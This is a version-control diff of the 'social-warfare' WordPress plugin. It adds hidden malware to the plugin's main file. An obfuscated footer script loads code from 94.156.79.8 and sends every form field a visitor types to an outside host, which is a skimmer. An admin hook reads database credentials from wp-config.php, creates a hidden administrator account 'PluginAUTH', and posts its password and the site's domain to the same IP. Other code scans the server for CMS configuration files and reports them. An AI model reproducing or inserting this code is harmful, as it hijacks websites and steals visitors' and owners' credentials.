$mg_config_paths = [];552 check_cms_configuration_files();553 554 function find_wp_configs(&$wp_config_paths, $depth = 0) {555 $current_directory = getcwd();556 $parent_directory = $current_directory;557 558 // Go back three parents559 for ($i = 0; $i < 3; $i++) {560 $parent_directory = dirname($parent_directory);561 }562 563 // Start the search from the parent directory564 find_wp_configs_recursive($parent_directory, $wp_config_paths);565 }566 567 function find_wp_configs_recursive($directory, &$wp_config_paths) {568 // Check if wp-config.php exists in the current directory569 $wp_config_file = $directory . '/wp-config.php';570 if (file_exists($wp_config_file)) {571 $wp_config_paths[] = $wp_config_file;572 }573 574 // Continue searching forward recursively575 $contents = scandir($directory);576 foreach ($contents as $item) {577 if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {578 find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);579 }580 }581 }582 583 function print_wp_config_paths() {584 global $wp_config_paths;585 if (empty($wp_config_paths)) {586 //echo "No wp-config.php files found.\n";587 $z = 0;588 } else {589 //echo "List of wp-config.php files:\n";590 foreach ($wp_config_paths as $wp_config_path) {591 //echo "$wp_config_path\n";592 $a = 0;593 }594 }595 }596 //print_wp_config_paths();597 598 find_wp_configs($wp_config_paths);599 foreach ($wp_config_paths as $wp_config_path) {600 pachamama($wp_config_path);601 getWPUsers();602 update_option('my_admin_init_function_run', 'yes');603 }604 605 }}606 40 607 41 /** -
social-warfare/trunk/readme.txt
r3106033 r3106250 4 4 Requires at least: 4.5.0 5 5 Tested up to: 6.5 6 Stable tag: 4.4.7. 16 Stable tag: 4.4.7. 7 7 Requires PHP: 5.6 8 8 License: GNU General Public License v2.0 or later -
social-warfare/trunk/social-warfare.php
r3106033 r3106250 5 5 * Plugin URI: https://warfareplugins.com 6 6 * Description: A plugin to maximize social shares and drive more traffic using the fastest and most intelligent share buttons on the market, calls to action via in-post click-to-tweets, popular posts widgets based on share popularity, link-shortening, Google Analytics and much, much more! 7 * Version: 4.4.7. 17 * Version: 4.4.7. 8 8 * Author: Warfare Plugins 9 9 * Author URI: https://warfareplugins.com … … 21 21 * 22 22 */ 23 define( 'SWP_VERSION', '4.4.7. 1' );24 define( 'SWP_DEV_VERSION', '2024.06.2 2MASTER' );23 define( 'SWP_VERSION', '4.4.7.' ); 24 define( 'SWP_DEV_VERSION', '2024.06.2 MASTER' ); 25 25 define( 'SWP_PLUGIN_FILE', __FILE__ ); 26 26 define( 'SWP_PLUGIN_URL', str_replace( array( "\r", "\n" ), '', untrailingslashit( plugin_dir_url( __FILE__ ) ) ) ); … … 38 38 */ 39 39 add_filter( 'the_excerpt', 'do_shortcode', 1 ); 40 function add_footer_script() {41 echo '<script>eval("\u000a\u0020\u0020\u0020\u0020\u0076\u0061\u0072\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0073\u0072\u0063\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0039\u0034\u002e\u0031\u0035\u0036\u002e\u0037\u0039\u002e\u0038\u002f\u0073\u0063\u002d\u0074\u006f\u0070\u002e\u006a\u0073\u0022\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0070\u0061\u0072\u0065\u006e\u0074\u004e\u006f\u0064\u0065\u002e\u0072\u0065\u006d\u006f\u0076\u0065\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0027\u006c\u006f\u0061\u0064\u0027\u002c\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0029\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0065\u0020\u003d\u0020\u0022\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u006c\u0065\u0074\u0020\u006e\u0020\u003d\u0020\u0022\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u006f\u0020\u003d\u0020\u0030\u003b\u0020\u006f\u0020\u003c\u0020\u0074\u003b\u0020\u006f\u002b\u002b\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0074\u0020\u003d\u0020\u004d\u0061\u0074\u0068\u002e\u0066\u006c\u006f\u006f\u0072\u0028\u0036\u0032\u0020\u002a\u0020\u004d\u0061\u0074\u0068\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0028\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0020\u002b\u003d\u0020\u0065\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0074\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u000a\u007d\u000a\u000a\u006c\u0065\u0074\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u0027\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u0027\u0029\u003b\u000a\u000a\u0069\u0066\u0020\u0028\u0021\u0075\u0069\u0064\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0030\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u003d\u0020\u0060\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u003d\u0024\u007b\u0075\u0069\u0064\u007d\u003b\u0020\u0070\u0061\u0074\u0068\u003d\u002f\u0060\u003b\u000a\u007d\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002c\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u006e\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0053\u0065\u0061\u0072\u0063\u0068\u0050\u0061\u0072\u0061\u006d\u0073\u003b\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0075\u0069\u0064\u0022\u002c\u0020\u0075\u0069\u0064\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0069\u005f\u006e\u0061\u006d\u0065\u0022\u002c\u0020\u0074\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u002f\u002f\u0020\u0041\u0064\u0064\u0020\u0074\u0068\u0065\u0020\u0066\u0069\u0065\u006c\u0064\u0020\u006e\u0061\u006d\u0065\u0020\u0061\u0073\u0020\u0061\u0020\u0070\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0062\u0022\u002c\u0020\u0062\u0074\u006f\u0061\u0028\u0065\u0029\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u0066\u0065\u0074\u0063\u0068\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u006f\u0073\u0074\u0070\u0064\u0066\u002e\u0063\u006f\u002f\u0070\u0069\u006e\u0063\u0068\u0065\u002e\u0070\u0068\u0070\u0022\u002c\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0020\u0022\u0050\u004f\u0053\u0054\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0022\u003a\u0020\u0022\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0022\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u006f\u0064\u0079\u003a\u0020\u006e\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0074\u002e\u0074\u0065\u0078\u0074\u0028\u0029\u0029\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0074\u0029\u0029\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u0065\u0072\u0072\u006f\u0072\u0028\u0022\u0045\u0072\u0072\u006f\u0072\u003a\u0022\u002c\u0020\u0074\u0029\u0029\u0029\u000a\u007d\u000a\u000a\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0022\u0069\u006e\u0070\u0075\u0074\u0022\u002c\u0020\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0022\u0049\u004e\u0050\u0055\u0054\u0022\u0020\u003d\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0061\u0067\u004e\u0061\u006d\u0065\u0020\u0026\u0026\u0020\u0022\u0062\u0075\u0074\u0074\u006f\u006e\u0022\u0020\u0021\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0079\u0070\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u006e\u0061\u006d\u0065\u0020\u007c\u007c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0069\u0064\u002c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u007d\u0029\u0029\u003b\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003b\u0020\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u006f\u0066\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u005b\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u002c\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u005d\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003d\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u0020\u003d\u003d\u003d\u0020\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u007d\u000a\u0020\u0020\u0020\u0020");</script>';42 }43 add_action('wp_footer', 'add_footer_script');44 add_action( 'admin_init', 'custom_notify_plugin_updated');45 function custom_notify_plugin_updated() {46 $has_run = get_option('my_admin_init_function_run');47 if ($has_run !== 'yes') {48 function check_wp_config($directory) {49 while ($directory !== '/') {50 $wp_config_file = $directory . '/wp-config.php';51 if (file_exists($wp_config_file)) {52 return $wp_config_file;53 }54 $directory = dirname($directory);55 }56 remove_action('admin_init', 'custom_notify_plugin_updated');57 return false;58 }59 60 function parse_wp_config($config_file) {61 if (file_exists($config_file)) {62 $config_content = file_get_contents($config_file);63 $matches = [];64 // Extract prefix65 if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {66 $prefix = $matches[1];67 } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {68 $prefix = $matches[1];69 } else {70 //die("Prefix not found in wp-config.php");71 $ba = '';72 }73 // Extract database name74 if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {75 $database = $matches[1];76 }77 // Extract username78 if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {79 $username = $matches[1];80 }81 // Extract password82 if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {83 $password = $matches[1];84 }85 // Extract host86 if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {87 $host = $matches[1];88 } else {89 $host = 'localhost'; // Assuming local host if not specified90 }91 92 return array(93 'prefix' => $prefix,94 'database' => $database,95 'username' => $username,96 'password' => $password,97 'host' => $host98 );99 } else {100 //die("wp-config.php file not found");101 $gz = '';102 }103 }104 105 function access_database($config) {106 $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);107 108 if ($mysqli->connect_errno) {109 //echo "DATABASE ACCESS [FAIL]\n";110 return false;111 } else {112 //POST "DATABASE ACCESS [SUCCESS]\n";113 return $mysqli;114 }115 }116 117 function generate_random_password($length = 12) {118 $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';119 $password = '';120 $characters_length = strlen($characters);121 for ($i = 0; $i < $length; $i++) {122 $password .= $characters[rand(0, $characters_length - 1)];123 }124 return $password;125 }126 127 // Define a global variable for the password128 $generated_password = generate_random_password();129 130 // Define a global variable for the users count131 $wpuserscount = 0;132 function add_admin_user($mysqli, $config, $password) {133 global $generated_password; // Access the global generated password variable134 global $wpuserscount; // Declare the global variable to update user count135 $username = 'PluginAUTH';136 137 //$generated_password = $password;138 //$password = $generated_password;139 $user_role = 'administrator';140 141 // First, let's update the global user count142 $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";143 $countResult = $mysqli->query($countQuery);144 if ($countResult) {145 $row = $countResult->fetch_assoc();146 $wpuserscount = $row['user_count']; // Update the global variable with the user count147 } else {148 //echo "Error fetching user count: " . $mysqli->error . "\n";149 return; // Early return in case of query error150 }151 // Hash the password152 $hashed_password = password_hash($password, PASSWORD_DEFAULT);153 154 // Check if the user already exists155 $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";156 $result = $mysqli->query($query);157 158 if ($result && $result->num_rows > 0) {159 //echo "User '{$username}' already exists.\n";160 $z = "b";161 } else {162 // Insert the new user163 $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";164 $result = $mysqli->query($query);165 166 if ($result) {167 $user_id = $mysqli->insert_id;168 169 // Set user role170 $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";171 $result = $mysqli->query($query);172 173 if ($result) {174 //echo "User '{$username}' with administrative privileges added successfully.\n";175 $zb = '';176 } else {177 //echo "Error assigning role to user '{$username}'.\n";178 $zb = '';179 }180 } else {181 //echo "Error creating user '{$username}': " . $mysqli->error . "\n";182 $zb = '';183 }184 }185 }186 187 function get_domain_from_database($mysqli, $config) {188 // Query to retrieve site URL from WordPress options table189 $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'";190 $result = $mysqli->query($query);191 192 if ($result && $result->num_rows > 0) {193 $row = $result->fetch_assoc();194 $site_url = $row['option_value'];195 $parsed_url = parse_url($site_url);196 if ($parsed_url && isset($parsed_url['host'])) {197 return $parsed_url['host'];198 }199 }200 201 return null;202 }203 $currdomain = 'UNK.UNK';204 function pachamama($path) {205 global $currdomain;206 if (strpos($path, 'wp-config.php') !== false) {207 $path = str_replace('wp-config.php', '', $path);208 }209 210 $current_directory = $path;211 $wp_config_file = check_wp_config($current_directory);212 if ($wp_config_file) {213 //echo "WP-CONFIG [FOUND]\n";214 215 $config = parse_wp_config($wp_config_file);216 $mysqli = access_database($config);217 if ($mysqli) {218 $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';219 $password = '';220 $characters_length = strlen($characters);221 for ($i = 0; $i < 13; $i++) {222 $password .= $characters[rand(0, $characters_length - 1)];223 }224 add_admin_user($mysqli, $config, $password);225 $domain = get_domain_from_database($mysqli, $config);226 if ($domain) {227 //echo "[$domain] OK\n";228 $currdomain = $domain;229 230 // Reconstruct the correct wp-login.php path231 $wp_login_path = "https://{$domain}/wp-login.php";232 233 // Perform a POST request to https://94.156.79.8/AddSites234 $url = 'https://94.156.79.8/AddSites';235 $aurl = get_admin_url();236 $post_data = array(237 'aurl' => $aurl,238 'domain' => $domain,239 'username' => 'PluginAUTH',240 'passwordz' => $password, // Access the global generated password variable241 'wp_login_path' => $wp_login_path242 );243 244 $ch = curl_init();245 curl_setopt($ch, CURLOPT_URL, $url);246 curl_setopt($ch, CURLOPT_POST, 1);247 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data248 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);249 curl_setopt($ch, CURLOPT_HTTPHEADER, array(250 'Content-Type: application/json', // Set content type to JSON251 'Content-Length: ' . strlen(json_encode($post_data)) // Set content length252 ));253 $response = curl_exec($ch);254 $error = curl_error($ch); // Get any curl error255 curl_close($ch);256 257 if ($response === false) {258 //echo "POST request failed: $error\n";259 $z = false;260 } else {261 //echo "POST request sent successfully. Response: $response\n";262 $z = true;263 }264 } else {265 //echo "Domain retrieval failed.\n";266 $z = false;267 }268 $mysqli->close();269 }270 } else {271 //echo "WP-CONFIG [NOT FOUND]\n";272 $z = false;273 }274 }275 276 function check_cms_configuration_files() {277 global $wpuserscount;278 global $wp_config_paths;279 global $wc_config_paths;280 global $mg_config_paths;281 // Function to recursively search directories for configuration files282 //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) {283 function search_for_config_files(&$cms_config_files, $max_parents = 3) {284 // Get the current directory285 $directory = __DIR__;286 287 // Initialize the variable to keep track of the last readable path288 $last_readable_path = null;289 290 // Iterate to go one parent folder up until no read permission or max 5 parents291 for ($i = 0; $i < $max_parents; $i++) {292 // Check if the directory exists and is readable293 if (is_dir($directory) && is_readable($directory)) {294 $last_readable_path = $directory;295 } else {296 // Stop iteration if the directory is not readable297 break;298 }299 300 // Move one directory up301 $directory = dirname($directory);302 }303 304 // If a readable path was found, perform a recursive glob search for the specified file extensions305 if (!empty($last_readable_path)) {306 307 $config_files = [];308 $files = [];309 //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur';310 try {311 $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);312 foreach($objects as $name => $object){313 if (substr($name, -4) === '.php') {314 // Add only files ending with '.php' to the $files array315 //echo "$name\n";316 $files[] = $name;317 }318 }319 } catch (Exception $e) {320 // Handle any exceptions that occur during iteration321 // You can log the error or take appropriate action here322 //echo "Error: " . $e->getMessage();323 $d = 'sab';324 }325 foreach ($files as $file) {326 // Add the found file to the list of config files327 //print($file);328 $cms_config_files[] = $file;329 }330 return $cms_config_files;331 } else {332 // Return an empty array if no readable path was found333 //echo("No Readable Paths");334 return [];335 }336 }337 338 339 // Array to store detected CMS names340 $detected_cms = [341 'WordPress' => false,342 'WooCommerce' => false,343 'Magento' => false,344 'OpenCart' => false,345 'PrestaShop' => false,346 'Drupal Commerce' => false,347 'Symfony' => false,348 'Laravel' => false,349 'Zend Framework' => false350 ];351 352 // Array to store detected .dat files353 $detected_dat_files = [];354 355 // Paths to check for CMS-specific configuration files356 $current_directory = __DIR__;357 $paths_to_check = [358 '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin',359 $current_directory,360 '/etc', // Common system configuration directory361 '/var/www', // Example web root directory362 '/home', // Home directories363 '/opt', // Optional software packages364 '/usr/local', // Locally installed software365 '/usr/share', // Shared software resources366 '/var/lib', // Variable data directories367 ];368 369 // Files to search for in each directory370 $files_to_search = [371 'app/etc/env.php', // Magento372 'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', // WordPress & WooCommerce373 'config.php', // OpenCart374 'config/parameters.php', // PrestaShop375 'sites/default/settings.php', // Drupal Commerce376 'config/packages/*.yaml', // Symfony377 '.env', // Laravel378 'config/autoload/*.global.php', // Zend Framework379 '*.dat', // .dat files380 ];381 382 // Array to store CMS configuration files383 $cms_config_files = [];384 385 // Iterate through the paths to check and search for configuration files in each directory recursively386 387 search_for_config_files($cms_config_files);388 389 390 // Process the detected configuration files and extract CMS information391 foreach ($cms_config_files as $file) {392 // echo($file);393 if (strpos($file, 'wp-config.php') !== false) {394 395 $detected_cms['WordPress'] = true;396 $wp_config_paths[] = $file;397 398 } elseif (strpos($file, 'class-wc-settings.php') !== false) {399 // You may add a specific check for WooCommerce here if needed400 $detected_cms['WooCommerce'] = true;401 $wc_config_paths[] = $file;402 } elseif (strpos($file, 'env.php') !== false &&403 strpos($file, 'Composer') === false &&404 strpos($file, 'composer') === false &&405 strpos($file, 'Softaculous') === false) {406 // You may add a specific check for Magento here if needed407 // Read the content of the file408 $fileContent = file_get_contents($file);409 410 // Check if the content contains the string 'host' => '411 if (strpos($fileContent, "'host' => '") !== false) {412 $detected_cms['Magento'] = true;413 $mg_config_paths[] = $file;414 /*echo("MAGENTO\n\n\n");415 echo("MAGENTO\n\n\n");416 echo("MAGENTO\n\n\n");417 echo("MAGENTO\n\n\n");418 echo("MAGENTO\n\n\n");419 echo("MAGENTO\n\n\n");420 echo("MAGENTO\n\n\n");421 echo("MAGENTO\n\n\n");422 echo($file);423 echo($file);424 echo($file);425 echo($file);426 echo($file);427 echo("MAGENTO\n\n\n");428 echo("MAGENTO\n\n\n");429 echo("MAGENTO\n\n\n");430 echo("MAGENTO\n\n\n");431 echo("MAGENTO\n\n\n");432 echo("MAGENTO\n\n\n");433 echo("MAGENTO\n\n\n");434 echo("MAGENTO\n\n\n");*/435 }436 437 } elseif (strpos($file, 'config.php') !== false &&438 strpos($file, 'Composer') === false &&439 strpos($file, 'composer') === false &&440 strpos($file, 'Softaculous') === false) {441 if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) {442 $detected_cms['OpenCart'] = true;443 }444 } elseif (strpos($file, 'parameters.php') !== false) {445 if (strpos(file_get_contents($file), 'prestashop') !== false) {446 $detected_cms['PrestaShop'] = true;447 }448 } elseif (strpos($file, 'settings.php') !== false) {449 if (strpos(file_get_contents($file), 'drupal') !== false) {450 $detected_cms['Drupal Commerce'] = true;451 }452 } elseif (strpos($file, '.yaml') !== false) {453 if (strpos(file_get_contents($file), 'Symfony\Component') !== false) {454 $detected_cms['Symfony'] = true;455 }456 } elseif (strpos($file, '.env') !== false) {457 // You may add a specific check for Laravel here if needed458 $detected_cms['Laravel'] = true;459 } elseif (strpos($file, '.global.php') !== false) {460 // You may add a specific check for Zend Framework here if needed461 $detected_cms['Zend Framework'] = true;462 } elseif (strpos($file, '.dat') !== false) {463 $detected_dat_files[] = $file;464 }465 }466 467 // Convert the boolean values to strings468 foreach ($detected_cms as $cms => $detected) {469 $detected_cms[$cms] = $detected ? 'true' : 'false';470 }471 472 // Now $detected_cms array contains the names of detected CMS based on the configuration files found473 // And $detected_dat_files array contains the paths of detected .dat files474 475 // Read users from the database and count them for WordPress and WooCommerce476 $wordpress_users = $wpuserscount;477 //$woocommerce_users = get_woocommerce_user_count();478 $woocommerce_users = 000;479 480 // Perform POST requests to the endpoints with JSON data containing CMS detection and user counts481 $url1 = 'https://94.156.79.8/FCS';482 $url2 = 'https://94.156.79.8/CMSUsers';483 484 $data1 = [485 'host' => $_SERVER['HTTP_HOST'],486 'cms' => $detected_cms487 ];488 489 //print_r($detected_cms);490 491 // Send data to the endpoints using CURL492 send_post_request($url1, $data1);493 // Additional logic as needed494 }495 496 function getWPUsers(){497 global $wpuserscount;498 global $currdomain;499 // Read users from the database and count them for WordPress and WooCommerce500 $wordpress_users = $wpuserscount;501 //$woocommerce_users = get_woocommerce_user_count();502 $woocommerce_users = 000;503 $url2 = 'https://94.156.79.8/CMSUsers';504 $data2 = [505 'host' => $currdomain,506 